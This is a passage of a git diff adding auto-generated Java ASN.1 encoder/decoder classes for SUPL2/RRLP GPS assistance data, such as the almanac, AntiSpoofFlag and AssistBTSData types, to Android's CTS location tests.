+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRedAlmDeltaA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRedAlmDeltaA();
+ }
+
+ @Override public void setToNewInstance() {
+ setRedAlmDeltaAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ReducedKeplerianSet.redAlmDeltaAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "redAlmDeltaA : "
+ + getRedAlmDeltaA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRedAlmOmega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRedAlmOmega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setRedAlmOmega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ReducedKeplerianSet.redAlmOmega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "redAlmOmega0 : "
+ + getRedAlmOmega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRedAlmPhi0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRedAlmPhi0();
+ }
+
+ @Override public void setToNewInstance() {
+ setRedAlmPhi0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ReducedKeplerianSet.redAlmPhi0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "redAlmPhi0 : "
+ + getRedAlmPhi0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getRedAlmL1Health() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRedAlmL1Health();
+ }
+
+ @Override public void setToNewInstance() {
+ setRedAlmL1HealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ReducedKeplerianSet.redAlmL1HealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "redAlmL1Health : "
+ + getRedAlmL1Health().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getRedAlmL2Health() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRedAlmL2Health();
+ }
+
+ @Override public void setToNewInstance() {
+ setRedAlmL2HealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ReducedKeplerianSet.redAlmL2HealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "redAlmL2Health : "
+ + getRedAlmL2Health().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getRedAlmL5Health() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRedAlmL5Health();
+ }
+
+ @Override public void setToNewInstance() {
+ setRedAlmL5HealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_ReducedKeplerianSet.redAlmL5HealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "redAlmL5Health : "
+ + getRedAlmL5Health().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class redAlmDeltaAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_redAlmDeltaAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public redAlmDeltaAType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_redAlmDeltaAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_redAlmDeltaAType != null) {
+ return ImmutableList.of(TAG_redAlmDeltaAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new redAlmDeltaAType from encoded stream.
+ */
+ public static redAlmDeltaAType fromPerUnaligned(byte[] encodedBytes) {
+ redAlmDeltaAType result = new redAlmDeltaAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new redAlmDeltaAType from encoded stream.
+ */
+ public static redAlmDeltaAType fromPerAligned(byte[] encodedBytes) {
+ redAlmDeltaAType result = new redAlmDeltaAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "redAlmDeltaAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class redAlmOmega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_redAlmOmega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public redAlmOmega0Type() {
+ super();
+ setValueRange("-64", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_redAlmOmega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_redAlmOmega0Type != null) {
+ return ImmutableList.of(TAG_redAlmOmega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new redAlmOmega0Type from encoded stream.
+ */
+ public static redAlmOmega0Type fromPerUnaligned(byte[] encodedBytes) {
+ redAlmOmega0Type result = new redAlmOmega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new redAlmOmega0Type from encoded stream.
+ */
+ public static redAlmOmega0Type fromPerAligned(byte[] encodedBytes) {
+ redAlmOmega0Type result = new redAlmOmega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "redAlmOmega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class redAlmPhi0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_redAlmPhi0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public redAlmPhi0Type() {
+ super();
+ setValueRange("-64", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_redAlmPhi0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_redAlmPhi0Type != null) {
+ return ImmutableList.of(TAG_redAlmPhi0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new redAlmPhi0Type from encoded stream.
+ */
+ public static redAlmPhi0Type fromPerUnaligned(byte[] encodedBytes) {
+ redAlmPhi0Type result = new redAlmPhi0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new redAlmPhi0Type from encoded stream.
+ */
+ public static redAlmPhi0Type fromPerAligned(byte[] encodedBytes) {
+ redAlmPhi0Type result = new redAlmPhi0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "redAlmPhi0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class redAlmL1HealthType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_redAlmL1HealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public redAlmL1HealthType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_redAlmL1HealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_redAlmL1HealthType != null) {
+ return ImmutableList.of(TAG_redAlmL1HealthType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new redAlmL1HealthType from encoded stream.
+ */
+ public static redAlmL1HealthType fromPerUnaligned(byte[] encodedBytes) {
+ redAlmL1HealthType result = new redAlmL1HealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new redAlmL1HealthType from encoded stream.
+ */
+ public static redAlmL1HealthType fromPerAligned(byte[] encodedBytes) {
+ redAlmL1HealthType result = new redAlmL1HealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "redAlmL1HealthType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class redAlmL2HealthType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_redAlmL2HealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public redAlmL2HealthType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_redAlmL2HealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_redAlmL2HealthType != null) {
+ return ImmutableList.of(TAG_redAlmL2HealthType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new redAlmL2HealthType from encoded stream.
+ */
+ public static redAlmL2HealthType fromPerUnaligned(byte[] encodedBytes) {
+ redAlmL2HealthType result = new redAlmL2HealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new redAlmL2HealthType from encoded stream.
+ */
+ public static redAlmL2HealthType fromPerAligned(byte[] encodedBytes) {
+ redAlmL2HealthType result = new redAlmL2HealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "redAlmL2HealthType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class redAlmL5HealthType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_redAlmL5HealthType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public redAlmL5HealthType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_redAlmL5HealthType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_redAlmL5HealthType != null) {
+ return ImmutableList.of(TAG_redAlmL5HealthType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new redAlmL5HealthType from encoded stream.
+ */
+ public static redAlmL5HealthType fromPerUnaligned(byte[] encodedBytes) {
+ redAlmL5HealthType result = new redAlmL5HealthType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new redAlmL5HealthType from encoded stream.
+ */
+ public static redAlmL5HealthType fromPerAligned(byte[] encodedBytes) {
+ redAlmL5HealthType result = new redAlmL5HealthType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "redAlmL5HealthType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Almanac_ReducedKeplerianSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AntiSpoofFlag.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AntiSpoofFlag.java
new file mode 100755
index 0000000..358addd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AntiSpoofFlag.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class AntiSpoofFlag extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_AntiSpoofFlag
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AntiSpoofFlag() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AntiSpoofFlag;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AntiSpoofFlag != null) {
+ return ImmutableList.of(TAG_AntiSpoofFlag);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AntiSpoofFlag from encoded stream.
+ */
+ public static AntiSpoofFlag fromPerUnaligned(byte[] encodedBytes) {
+ AntiSpoofFlag result = new AntiSpoofFlag();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AntiSpoofFlag from encoded stream.
+ */
+ public static AntiSpoofFlag fromPerAligned(byte[] encodedBytes) {
+ AntiSpoofFlag result = new AntiSpoofFlag();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "AntiSpoofFlag = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData.java
new file mode 100755
index 0000000..ccbec1f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData.java
@@ -0,0 +1,464 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AssistBTSData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AssistBTSData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AssistBTSData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AssistBTSData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AssistBTSData != null) {
+ return ImmutableList.of(TAG_AssistBTSData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AssistBTSData from encoded stream.
+ */
+ public static AssistBTSData fromPerUnaligned(byte[] encodedBytes) {
+ AssistBTSData result = new AssistBTSData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AssistBTSData from encoded stream.
+ */
+ public static AssistBTSData fromPerAligned(byte[] encodedBytes) {
+ AssistBTSData result = new AssistBTSData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BSIC bsic_;
+ public BSIC getBsic() {
+ return bsic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BSIC
+ */
+ public void setBsic(Asn1Object value) {
+ this.bsic_ = (BSIC) value;
+ }
+ public BSIC setBsicToNewInstance() {
+ bsic_ = new BSIC();
+ return bsic_;
+ }
+
+ private MultiFrameOffset multiFrameOffset_;
+ public MultiFrameOffset getMultiFrameOffset() {
+ return multiFrameOffset_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultiFrameOffset
+ */
+ public void setMultiFrameOffset(Asn1Object value) {
+ this.multiFrameOffset_ = (MultiFrameOffset) value;
+ }
+ public MultiFrameOffset setMultiFrameOffsetToNewInstance() {
+ multiFrameOffset_ = new MultiFrameOffset();
+ return multiFrameOffset_;
+ }
+
+ private TimeSlotScheme timeSlotScheme_;
+ public TimeSlotScheme getTimeSlotScheme() {
+ return timeSlotScheme_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeSlotScheme
+ */
+ public void setTimeSlotScheme(Asn1Object value) {
+ this.timeSlotScheme_ = (TimeSlotScheme) value;
+ }
+ public TimeSlotScheme setTimeSlotSchemeToNewInstance() {
+ timeSlotScheme_ = new TimeSlotScheme();
+ return timeSlotScheme_;
+ }
+
+ private RoughRTD roughRTD_;
+ public RoughRTD getRoughRTD() {
+ return roughRTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RoughRTD
+ */
+ public void setRoughRTD(Asn1Object value) {
+ this.roughRTD_ = (RoughRTD) value;
+ }
+ public RoughRTD setRoughRTDToNewInstance() {
+ roughRTD_ = new RoughRTD();
+ return roughRTD_;
+ }
+
+ private CalcAssistanceBTS calcAssistanceBTS_;
+ public CalcAssistanceBTS getCalcAssistanceBTS() {
+ return calcAssistanceBTS_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CalcAssistanceBTS
+ */
+ public void setCalcAssistanceBTS(Asn1Object value) {
+ this.calcAssistanceBTS_ = (CalcAssistanceBTS) value;
+ }
+ public CalcAssistanceBTS setCalcAssistanceBTSToNewInstance() {
+ calcAssistanceBTS_ = new CalcAssistanceBTS();
+ return calcAssistanceBTS_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsic();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BSIC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsic : "
+ + getBsic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultiFrameOffset() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultiFrameOffset();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultiFrameOffsetToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultiFrameOffset.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multiFrameOffset : "
+ + getMultiFrameOffset().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeSlotScheme() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeSlotScheme();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeSlotSchemeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeSlotScheme.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeSlotScheme : "
+ + getTimeSlotScheme().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRoughRTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRoughRTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setRoughRTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RoughRTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
